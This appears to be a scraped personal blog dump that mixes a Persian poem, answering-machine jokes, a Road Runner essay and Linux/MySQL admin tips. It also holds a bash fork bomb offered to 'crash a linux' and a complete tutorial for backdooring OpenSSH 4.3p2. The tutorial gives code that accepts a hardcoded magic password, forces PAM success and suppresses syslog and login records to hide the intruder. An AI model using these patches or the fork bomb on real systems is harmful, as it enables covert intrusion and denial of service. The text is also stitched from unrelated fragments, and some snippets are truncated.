عقاب اثر استاد بزرگ دکتر پرویز خانلری

گشت غمناك دل و جان عقاب چو ازو دور شد ايام شباب

ديد كش دور به انجام رسيد آفتابش به لب بام رسيد

بايد از هستي دل بر گيرد ره سوي كشور ديگر گيرد

خواست تا چاره ي نا چار كند دارويي جويد و در كار كند

صبحگاهي ز پي چاره ي كار گشت برباد سبك سير سوار

گله كاهنگ چرا داشت به دشت ناگه ا ز وحشت پر و لوله گشت

وان شبان ، بيم زده ، دل نگران شد پي بره ي نوزاد دوان

كبك ، در دامن خار ي آويخت مار پيچيد و به سوراخ گريخت

آهو استاد و نگه كرد و رميد دشت را خط غباري بكشيد

ليك صياد سر ديگر داشت صيد را فارغ و آزاد گذاشت

چاره ي مرگ ، نه كاريست حقير زنده را فارغ و آزاد گذاشت

صيد هر روزه به چنگ آمد زود مگر آن روز كه صياد نبود

آشيان داشت بر آن دامن دشت زاغكي زشت و بد اندام و پلشت

سنگ ها از كف طفلان خورده جان ز aصد گونه بلا در برده

سا ل ها زيسته افزون ز شمار شكم آكنده ز گند و مردار

بر سر شاخ ورا ديد عقاب ز آسمان سوي زمين شد به شتاب

گفت كه : ‹‹ اي ديده ز ما بس بيداد با تو امروز مرا كار افتاد

مشكلي دارم اگر بگشايي بكنم آن چه تو مي فرمايي ››

گفت : ‹‹ ما بنده ي در گاه توييم تا كه هستيم هوا خواه تو ييم

بنده آماده بود ، فرمان چيست ؟ جان به راه تو سپارم ، جان چيست ؟

دل ، چو در خدمت تو شاد كنم ننگم آيد كه ز جان ياد كنم ››

اين همه گفت ولي با دل خويش گفت و گويي دگر آورد به پيش

كاين ستمكار قوي پنجه ، كنون از نياز است چنين زار و زبون

ليك ناگه چو غضبناك شود زو حساب من و جان پاك شود

دوستي را چو نباشد بنياد حزم را بايد از دست نداد

در دل خويش چو اين راي گزيد پر زد و دور ترك جاي گزيد

زار و افسرده چنين گفت عقاب كه :‹‹ مرا عمر ، حبابي است بر آب

راست است اين كه مرا تيز پر است ليك پرواز زمان تيز تر است

من گذشتم به شتاب از در و دشت به شتاب ايام از من بگذشت

گر چه از عمر ،‌دل سيري نيست مرگ مي آيد و تدبيري نيست

من و اين شه پر و اين شوكت و جاه عمرم از چيست بدين حد كوتاه؟

تو بدين قامت و بال ناساز به چه فن يافته اي عمر دراز ؟

پدرم نيز به تو دست نيافت تا به منزلگه جاويد شتافت

ليك هنگام دم باز پسين چون تو بر شاخ شدي جايگزين

از سر حسرت بامن فرمود كاين همان زاغ پليد است كه بود

عمر من نيز به يغما رفته است يك گل از صد گل تو نشكفته است

چيست سرمايه ي اين عمر دراز ؟ رازي اين جاست،تو بگشا اين راز››

زاغ گفت : ‹‹ ار تو در اين تدبيري عهد كن تا سخنم بپذيري

عمرتان گر كه پذيرد كم و كاست دگري را چه گنه ؟ كاين ز شماست

ز آسمان هيچ نياييد فرود آخر از اين همه پرواز چه سود ؟

پدر من كه پس از سيصد و اند كان اندرز بد و دانش و پند

بارها گفت كه برچرخ اثير بادها راست فراوان تاثير

بادها كز زبر خاك و زند تن و جان را نرسانند گزند

هر چه ا ز خاك ، شوي بالاتر باد را بيش گزندست و ضرر

تا بدانجا كه بر اوج افلاك آيت مرگ بود ، پيك هلاك

ما از آن ، سال بسي يافته ايم كز بلندي ،‌رخ برتافته ايم

زاغ را ميل كند دل به نشيب عمر بسيارش ار گشته نصيب

ديگر اين خاصيت مردار است عمر مردار خوران بسيار است

گند و مردار بهين درمان ست چاره ي رنج تو زان آسان ست

خيز و زين بيش ،‌ره چرخ مپوي طعمه ي خويش بر افلاك مجوي

ناودان ، جايگهي سخت نكوست به از آن كنج حياط و لب جوست

من كه صد نكته ي نيكو دانم راه هر برزن و هر كو دانم

خانه ، اندر پس باغي دارم وندر آن گوشه سراغي دارم

خوان گسترده الواني هست خوردني هاي فراواني هست ››

****

آن چه ز آن زاغ چنين داد سراغ گندزاري بود اندر پس باغ

بوي بد ، رفته ا زآن ، تا ره دور معدن پشه ، مقام زنبور

نفرتش گشته بلاي دل و جان سوزش و كوري دو ديده از آن

آن دو همراه رسيدند از راه زاغ بر سفره ي خود كرد نگاه

گفت : ‹‹ خواني كه چنين الوان ست لايق محضر اين مهمان ست

مي كنم شكر كه درويش نيم خجل از ما حضر خويش نيم ››

گفت و بشنود و بخورد از آن گند تا بياموزد از او مهمان پند

****

عمر در اوج فلك بر ده به سر دم زده در نفس باد سحر

ابر را ديده به زير پر خويش حيوان را همه فرمانبر خويش

بارها آمده شادان ز سفر به رهش بسته فلك طاق ظفر

سينه ي كبك و تذرو و تيهو تازه و گرم شده طعمه ي او

اينك افتاده بر اين لاشه و گند بايد از زاغ بياموزد پند

بوي گندش دل و جان تافته بود حال بيماري دق يافته بود

دلش از نفرت و بيزاري ، ريش گيج شد ، بست دمي ديده ي خويش

يادش آمد كه بر آن اوج سپهر هست پيروزي و زيبايي و مهر

فر و آزادي و فتح و ظفرست نفس خرم باد سحرست

ديده بگشود به هر سو نگريست ديد گردش اثري زين ها نيست

آن چه بود از همه سو خواري بود وحشت و نفرب و بيزاري بود

بال بر هم زد و بر جست ا زجا گفت : كه ‹‹ اي يار ببخشاي مرا

سال ها باش و بدين عيش بناز تو و مردار تو و عمر دراز

من نيم در خور اين مهماني گند و مردار تو را ارزاني

گر در اوج فلكم بايد مرد عمر در گند به سر نتوان برد ››

****

شهپر شاه هوا ، اوج گرفت زاغ را ديده بر او مانده شگفت

سوي بالا شد و بالاتر شد راست با مهر فلك ، همسر شد

لحظه‎يي چند بر اين لوح كبود نقطه ‎يي بود و سپس هيچ نبود

تآنگاه که توانستن سرودی است

دل سپردن به پیامت چاره ساز انسان

با بوته ها که چیده ام از بیشه های آن سوی دیوار می آیم.. می آیم ..می آیم

Carbide.c++ 1.3 Startup crash

2008-06-16T04:47:00.000-07:00

I had a problem in startup of version 1.3 of Carbide.c++.

JVM terminated. Exit code=1
C:\Carbide\jre\bin\javaw.exe
-Xms40m
-Xmx512m
-jar C:\Carbide\startup.jar

-vm C:\Carbide\jre\bin\javaw.exe
-vmargs

-Xmx521m
-jar C:\Carbide\startup.jar

The solution for me was to specifically point to a jvm instead of relying on the JNI magic.

"C:\Program Files\Nokia\Carbide.c++ v1.3\Carbide.c++.1.3.exe" -vm "c:\program files\nokia\Carbide.c++ v1.3\jre\bin\javaw.exe"

1 "My lover and I can't come to the phone right now but if you'll leave your name and number, we'll get back to you as soon as we're finished."

Option 2 "A is for academics, B is for beer. One of those reasons is why we're not here. So, leave a message."

Option 3 "Hi! This is John. If you are the phone company, I already sent the money. If you are my parents, please send money. If you are my financial aid institution, you didn't lend me enough money. If you are my friends, you owe me money. If you are a female, don't worry, I have plenty of money."

Option 4 "Hi! Now you say something."

Option 5 "Hi! I'm not home right now but my answering machine is, so you can talk to it instead. Wait for the beep."

Option 6 "Hello. I am David's answering machine. What are you?"

Option 7 "Hello! If you leave a message, I'll call you soon. If you leave a "sexy" message, I'll call sooner!"

Option 8 "Hi! John's answering machine is broken. This is his refrigerator. ?Please speak very slowly and I'll stick your message to myself with one of these magnets."

Option 9 "Hello! You are talking to a machine. I am capable of receiving messages. My owners do not need siding, windows or a hot tub, and their carpets are clean. They give to charity through their office and do not need their pictures taken. If you're still with me, leave your name and number and they will get back to you."

Option 10 "This is not an answering machine This is a telepathic thought-recording device. After the tone, think about your name, your number and your reason for calling, and I'll think about returning your call."

Option 11 "Hi! I'm probably home, I'm just avoiding someone I don't like. Leave me a message and if I don't call back, it's you."

Option 12 "Hi! This is George. I'm sorry I can't answer the phone right now. Leave a message and then wait by your phone until I call you back."

Option 13 "Hi! If you are a burglar, we're probably at home cleaning our weapons right now and can't come to the phone. Otherwise, we probably aren't home and it's safe to leave a message."

Option 14 "Hello! You've reached Jim and Sonya. We can't pick up the phone right now, because we're doing something we really enjoy. Sonya likes doing it up and down, and I like doing it left to right, real slowly. So leave a message and when we're done brushing our teeth we'll get back to you."

These words are lovely dark and deep, but I've got promises to keep and miles to go before I sleep, so leave a message at the beep.

Now I lay me down to sleep; Leave a message at the beep. If I die before I wake, Remember to erase the tape!

Hello, this is Jim. Unfortunately I can't answer the phone right now because I've just come back from the Mirror Worlds and I'm still made up of antimatter, so if I were to pick up the phone right now, the resulting energy release would make Hiroshima look like a wet firecracker. So leave a message at the tone and I'll get back to you as soon as my component particles have been restored to their normal charges.

I'm gone.

You have reached 555-6238. Why?

This is you-know-who. We are you-know-where. Leave your you-know-what you-know-when.

You have reached 234-1243. This is an answering machine. This is the nineties. You know what to do.

You have reached the number you have dialed. Please leave a message after the beep.

This is a boring answering machine message. Leave a message anyway. [Useful to keep people from calling at odd hours to hear your latest exciting message.]

[Classical music in background, slow stoned voice:] Don't you ever wonder what life would be like? ...

So long as phones can ring and eyes can see, So leave a message, and I'll get back to thee.

This is 234-3249, and no, it's not Pete's Pizzaria. It's not the Credit Union either, and no one named Pam lives here. You can leave a message though.

Hi. Do you ever feel, like, your head is full of sand, not your regular loose sand mind you, but compacted sand, and there were like, I dunno, bugs or something jumping up and down on the compacted sand? Well, sometimes I do. Bye.

nice script to crash a linux

2007-08-14T06:43:00.000-07:00

if you didn't set max user processes in your linux station (or server) this script will f... it

$ :(){ :|:& };:

this simple script which known as bash forkbomb can forks as many processes as possible and can crash systems where no user limits are set

you should fix it with ulimit -u

have fun with images of webpage

2007-08-14T05:39:00.000-07:00

go to a website with many images (for example search for a name in google images)
next delete url from address bar and paste following code in your address bar:

javascript:R= 0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI= document.images; DIL=DI.length; function A(){for(i=0; i

/bin/bash: Too many open files in system

2007-08-14T05:15:00.000-07:00

I try to use ulimit and sysctl
you can use ulimit -a to see examples or find manpage in man bash

you can set ulimit -n 2048 (for example) to increase it but it should run by root.

if you like to change for all users you can set in /etc/security/limits.conf
for example:
* soft nofile 4096

number of open files per process can be increased only by root and users can decrease it

you can find good information in this page

Enable sytax highlight in VIM on ubuntu

2007-08-01T11:01:00.000-07:00

:syntax enable

or for public users you can do this:

Create a root terminal
Edit the file /etc/vim/vimrc
Search for the word syntax
Remove the double quote mark at the beginning of the line (quote marks to VIM are comments in configuration files)

also you may need to install vim-full

grub restore

2007-05-16T00:04:00.000-07:00

one time when I try to restore my grub I found this error

Due to a bug in xfs_freeze, the following command might produce a segmentation
fault when /mnt/root/boot/boot/grub is not in an XFS filesystem. This error is harmless and
can be ignored.
xfs_freeze: specified file ["/mnt/root/boot/boot/grub"] is not on an XFS filesystem
Installation finished. No error reported.
This is the contents of the device map /mnt/root/boot/boot/grub/device.map.
Check if this is correct or not. If any of the lines is incorrect,
fix it and re-run the script `grub-install'.

(fd0) /dev/fd0
(hd0) /dev/sda

I try to fix it and at last I found these steps

load with liveCD

sudo grub

find /boot/grub/stage1

setup (hd0)

quit

and it was solved

Kannel with Mysql support in Ubuntu

2007-05-14T23:21:00.000-07:00

For install the last version from source code you need to install libxml2-dev, libxml2-utils.
also you need libmysqlclientXX-dev for mysql support
and next you should configure
./configure --with-mysql

It should be noticed that you need gcc or g++ for compile source codes too.

VLAN on ubuntu

2007-04-15T11:32:00.000-07:00

install
sudo apt-get install vlan

add new vlan
sudo vconfig add eth1 2

remove vlan
sudo vconfig rem eth1.2

set ip
sudo ifconfig eth1.2 192.168.0.1
or set in /etc/network/interfaces
iface eth1.2

some times routing have problems, it add a route to eth0 for each ip

Quota on Ubuntu

2007-04-14T03:05:00.000-07:00

#apt-get install quota

add usrquota and grpquota into /etc/fstab for needed mountpoint
for example
/dev/sdc /home reiserfs defaults,usrquota,grpquota 0 2

create quota files
#touch /home/quota.user /home/quota.group
#chmod 600 /home/quota.*

remount
#mount -o remount /home

enable quota

#quotacheck -avugm
#quotaon -avug

dma/io allocation for i2o controller failed

2007-04-08T06:00:00.000-07:00

In order to work around this problem you need to go through these steps:

1) At the busybox type:

mkdir /dev/i2o
ln -s /dev/sda /dev/i2o/hda
ln -s /dev/sda1 /dev/i2o/hda1
ln -s /dev/sda2 /dev/i2o/hda2
ln -s /dev/sda3 /dev/i2o/hda3
(go on until you linked all your devices)
exit

2) Now your server should continue the boot process; as soon as you get the prompt fix the problem blacklisting the module in the initrd image: for example:

mkdir initrd
cd initrd
zcat /boot/initrd.img-2.6.15-28-server | cpio -ivdm
echo "blacklist dpt_i2o" >> etc/modprobe.d/blacklist
find . | cpio --quiet -o -H newc | gzip -9 > /boot/initrd.img-2.6.15-28-server

I start new NFS/NIS server with ubuntu server 6.10 instead of RH
after setup we found many problem in files. at last I saw that I have some directories that I can't see for example
in .mozilla/firefox my user has rwx permission but I can't get `ls`
after some try I found that if I get rwx permission to group it's become ok
at last I found that if I put no_subtree_check option in /etc/exports it become ok

PHP MySQL connection collation

2007-02-21T08:33:00.000-08:00

To change the connection charset permanently to UTF-8, add the following line in the [mysqld] section:
[mysqld]
init-connect='SET NAMES utf8'

The other way to let MySQL know what connection charset you intend to use is per-connection based. After a connection is established (with host, name, password), add the following two lines in your application:
SET NAMES utf8;
SET CHARACTER_SET utf8;

Ubuntu and LVM

2007-02-21T05:46:00.000-08:00

install packages
sudo apt-get install lvm2 dmsetup mdadm reiserfsprogs xfsprogs

find your LVMs if exists
sudo vgchange -ay

you can see with
sudo lvdisplay

if you get something like
No program "lvdisplay" found for your current version of LVM
(lvdisplay is you program name)

you should do this:
sudo cp -r /lib/lvm-200/ /lib/lvm-0

now you can mount

Wile E. Coyote and Road Runner

2007-02-04T04:00:00.000-08:00

Wile E. Coyote and Road Runner

It's an eternal battle of need versus speed, aggravation versus acceleration. Throughout Road Runner and Wile E. Coyote's careers in over two dozen Warner Bros. cartoons chronicling the duo's encounters, their classic chase formula has never lost its tension. The luckless Wile E. comes up with increasingly elaborate and seemingly foolproof schemes to snag Road Runner who, oblivious to the danger, always eludes the pathetic coyote's painstaking plans. According to Chuck Jones, the duo's creator and chief director, in Chuck Amuck: The Life and Times Of An Animated Cartoonist, he and the artists behind the Road Runner and Wile E. cartoons adhered to some simple but strict rules:

Rule 1: Road Runner cannot harm the Coyote except by going "Beep! Beep!"

Rule 2: No outside force can harm the Coyote -- only his own ineptitude or the failure of Acme products. Wile E.'s ineptitude, possibly a by-product of his distracted obsession with catching Road Runner, is compounded only by the Acme company's products - which may work for other customers, but seem never to work for Wile E., who repeatedly risks life and limb counting on their effectiveness. In Operation: Rabbit, for example, Wile E. constructs an elaborate Acme-manufactured contraption guaranteed to catch Bugs Bunny. Inevitably, the apparatus fails and Wile E. is defeated once again.

Rule 3: The Coyote could stop anytime -- IF he was not a fanatic. (Repeat: "A fanatic is one who redoubles his effort when he has forgotten his aim." - George Santayana) Of course he can't quit; he's certain that the next attempt is sure to succeed. He's the personality type that twelve-step programs are made for. Of course, first you have to want to quit.

Rule 4: No dialogue ever, except "Beep! Beep!" Oh, and the occasional dialog sign that comes in handy just as Wile E. realizes that his efforts are going to bring him nothing but big pain.

Rule 5: Road Runner must stay on the road - for no other reason than that he's a roadrunner.

Rule 6: All action must be confined to the natural environment of the two characters -- the southwest American desert. That's because there's everything you need for a funny cartoon in one place: winding roads, peaks, canyons, cacti, and boulders, all of which defy conventional physics. In Chuck Jones' classic There They Go-Go-Go!, the starving Wile E. resorts to creating a chicken out of the desert mud. When the speedy Road Runner whizzes by, friction causes the road and Wile E.'s feet to catch on fire, sending the coyote into a frantic craze, in which he attempts to capture his prey with a rope, a sling-shot, a rotating circle of spiked balls, a booby-trapped ladder, and a pile of rocks.

Rule 7: All tools, weapons, or mechanical conveniences must be obtained from the Acme Corporation. Talk about the first real example of "branding" in American commerce! Of course, not even an Acme brand Burmese tiger trap, an Acme brand steel wall, or Acme brand muscle-building vitamins can help Wile E. catch-up to the supersonic Road Runner in Stop! Look! Hasten!

Rule 8: Whenever possible, make gravity the Coyote's greatest enemy. Another Chuck Jones' classic, Scrambled Aches, has Wile E. watering a rock in order to grow it to boulder-size so he can crush Road Runner flat in his tracks. In true Wile E. style, the rock expands just as the tottering coyote lifts it over his head, letting gravity take its course. It's the law, you know.

Rule 9: The Coyote is always more humiliated than harmed by his failures. Easy for you to say.

Rule 10: The audience's sympathy must remain with the Coyote.

From Beep, Beep to Zipping Along to Freeze Frame, and despite his constant failure, fans continue to love Wile E. Coyote and his always one-step-ahead costar, Road Runner.

Mass ask authentication in Firefox use NTLM

2007-01-17T00:49:00.000-08:00

you can use one of these options

http://blogs.wdevs.com/shog9/archive/2005/03/09/2668.aspx

In Firefox, type about:config into the address bar and hit enter. You should see a huge list of configuration properties.
Find the setting named network.automatic-ntlm-auth.trusted-uris (the easiest way to do this is to type that into the filter box at top).
Double-click this line, and enter the names of all servers for which NTLM is desired, separated by commas. Then press ‘OK’ to confirm.
Open the options dialog (Tools->Options menu), and on the General page press the Connection Settings button to get the proxy configuration dialog:
Make sure the correct proxy server is configured, and that the same list of servers are listed in the No Proxy for: entryfield as were set in step #3.
Done.

1. Goto to url: about:config

2. filter on NTLM

3. You will see and entry :

network-automatic-ntlm-auth.allow-proxies

4. Set it to false.

5. Close Firefox.

The table is full in mysql

2007-01-02T07:42:00.000-08:00

You are using a MyISAM table and the space required for the table exceeds what is allowed by the internal pointer size. If you don't specify the MAX_ROWS table option when you create a table, MySQL uses the myisam_data_pointer_size system variable. From MySQL 5.0.6 on, the default value is 6 bytes, which is enough to allow 256TB of data. Before MySQL 5.0.6, the default value is 4 bytes, which is enough to allow only 4GB of data. See Section 5.2.2, “Server System Variables”.

I use (it will apply for new tables on myisam):
set @@global.myisam_data_pointer_size=5;

4 : 4GB (below 5.0.6 default value)
5 : 1TB (My value)
6 : 256TB (above 5.0.6 default value)

or using MAX_ROWS
alter table table name MAX_ROWS=100000000

/************************************************** ***************************/
///////////////////////////////////////////////////////////////////////////////

Well this is one of the first tutorials I will write.
This tutorial is about how to make (and write) your own OpenSSH backdoor.
I will try to keep this tutorial as small as possible, I also will not include any extra functions like remove
logging functions etc. First I'm going to tell something about OpenSSH before I get into details.

[What is OpenSSH]

First I'm going to tell what OpenSSH does, I'm not getting into details , because most of you guys are probably not even
reading this section. OpenSSH is a client/server application which allows an administrator to access his server securely. The
reason I say 'secure' is because SSH encrypts its session, so man-in-the-middle attacks are getting more difficult because
all data is send over the 'net' in crypto-text. OpenSSH is used because e.g. telnet, rlogin and ftp are protocols which are
not using any encryption at all, so when you are trying to connect to a host, and there is someone watching, they can easily
make a copy of your password or take other information from the stream. Additionally, OpenSSH provides secure tunneling
capabilities and several authentication methods, and supports all SSH protocol versions.
OpenSSH is developed by the OpenBSD Project and is freely useable and re-useable by everyone under a BSD license. However,
development has costs, so if you find OpenSSH useful (particularly if you use it in a commercial system that is distributed)
please consider donating to help fund the project. The official website of OpenSSH is: http://www.openssh.org
Also nice to notice is that OpenSSH is mainly written for OpenBSD, but since it was used a lot there is a portable version
for Linux. Offcource linux is not the only ported version, you can find others on the website of the OpenSSH project.

[The Backdooring]

So after explaining what OpenSSH does, I will try to explain how it is possible to make a backdoor in OpenSSH and every
little detail of what I am doing.
First of all we need to download the sourcecode. At this point the latest version of OpenSSH is OpenSSH-4.3p2. This tutorial

will teach you how to make a backdoor for this version of OpenSSH.
Also notice that other versions may need to be 'patched' in a different way, or maybe even in other files.

We are downloading the sourcecode first. And after downloading we are unpacking the sourcecode and changing to the sourcecode
directory. Now that we have the sourcecode written in C, we can go start looking for the place where the password authentication will start.
There are more then one way to make a backdoor for OpenSSH. For example. you can place a backdoor before the handshake even begins.
This is the place where there is not even encryption. The bad thing about this, is that there is still plaintext going over the internet.
The good thing is that we are able to bypass logging without building extra features to the sourcecode.
Another way is to 'hijack' the authentication method, and allow it to accept our chosen password.

In this tutorial I will explain how to 'hijack' the authentication method. In this way all our traffic is encrypted before
the authentication starts. In this way it isn't possible to capture data and grep your password from the captured packets. The
bad thing I already said is that there is still logging we have to bypass. So we have to put our code in more than one
place. We have to search for all places where logging is used.
Starting with the backdoor first, we want the code to accept our 'magic' password. First we are going to have a look at the
place where we want to add our backdoor. We are going to find the authentication method, which checks the password that is
entered. This method can be found in the file 'auth_passwd.c'.
By opening this file we are searching where the plain password comes in. This is the place where we can check it against the
magic password inserted by us.
If the password compares with the magicpassword, it will give us the right to enter the box, that is what we want.
Also when the magicpassword is used, we are going to disable logging, since we dont want the administrator to notice our
existence.

Lets start with the code. The files we are going to modify are the following:

################################################## ##################################
# includes.h -- In this file we are going to define our password and global integer.
# auth-passwd.c -- In this file we are going to put the backdoor.
# auth-pam.c -- In this file we are going to put some code when PAM-authentication is used.
# log.c -- This file we are going to change since we dont want logging.
# loginrec.c -- Same as log.c
################################################## ###################################

Lets first start with 'includes.h', we need this file because this file is used by all other files in the OpenSSH project.
When we declare something in here, we can easily use it in every other place. So what we are going to do is add some code.

##########################################
#

                                
# #define B4XDOOR "backdoorpasswordhere"
# int backdoorActive;                   
#

##########################################

Now we can start and put our backdoor code in the other places.
We are going to put the following code in the function called: "int auth_password(Authctxt *authctxt, const char *password);"

#######################################
#
# backdoorActive = 0;
#
# if (!strcmp(password, B4XDOOR)) {
# backdoorActive = 1;
# return 1;
# }
#
#######################################

With this done, we make it ourself possible to login with our password defined in includes.h
Also we are giving the backdoorActive the value of 1. This value is going to be used by other functions. e.g. logging.
Also we are going to change the file auth-pam.c, this is used when PAM-authentication is enabled. If the password is set, the
pam-authentication module will return PAM_SUCCESS and it will allow the user to log in. The function we are changing is the
following: "+int sshpam_auth_passwd(Authctxt *authctxt, const char *password);"

#############################################
#
# if(backdoorActive == 1)
# sshpam_err = PAM_SUCCESS;
#
#############################################

Now we have some other problems. Logging is not disabled so when you log in with your password you will still be logged too.
e.g. syslogd. So we are going to tell the ssh-daemon to not log us when we are using the magic-password. This must be done
in the following files: and
These one are easy, so we can just put in the front of the functions our code which is pretty easy.
################################################## #######################
# log.c --> void do_log(LogLevel level, const char *fmt, va_list args);
# loginrec.c --> int login_write(struct logininfo *li);
################################################## #######################

###########################
#
# if(backdoorActive == 1)
# return;
#
#
#
# if(backdoorActive == 1)
# return 0;
#
###########################

These are the smallest things you need to do to backdoor a OpenSSH daemon. Be sure to take care and make sure password authentication is used.
If there is another authentication method, this backdoor probably will not work.
Also check that keyboard-interactive method is not enabled as that make casue this backdoor not to function either.

SSL for Apache2 on Ubuntu

2007-01-01T03:38:00.000-08:00

from ubuntuforums.org
http://www.ubuntuforums.org/archive/index.php/t-4466.html

apt-get install apache2 libapache-mod-ssl
apache2-ssl-certificate
(and answer the questions)

Now, enable ssl:
a2enmod ssl

configure ssl:
cp /etc/apache2/sites-available/default /etc/apache2/sites-available/ssl
ln -s /etc/apache2/sites-available/ssl /etc/apache2/sites-enabled/ssl
"/etc/apache2/sites-enabled/ssl" should look like this:

NameVirtualHost *:443

(... configure the directories too...)
and "/etc/apache2/sites-enabled/default" should look like this:

NameVirtualHost *:80

(... configure the directories too...)
In /etc/apache2/ports.conf, add Listen 443

In the middle of /etc/apache2/sites-available/ssl file, insert this two lines:

SSLEngine On
SSLCertificateFile /etc/apache2/ssl/apache.pem

it's better use your domain named instead of * for NameVirtualHost else you will get SSL warning because of SSL server name error
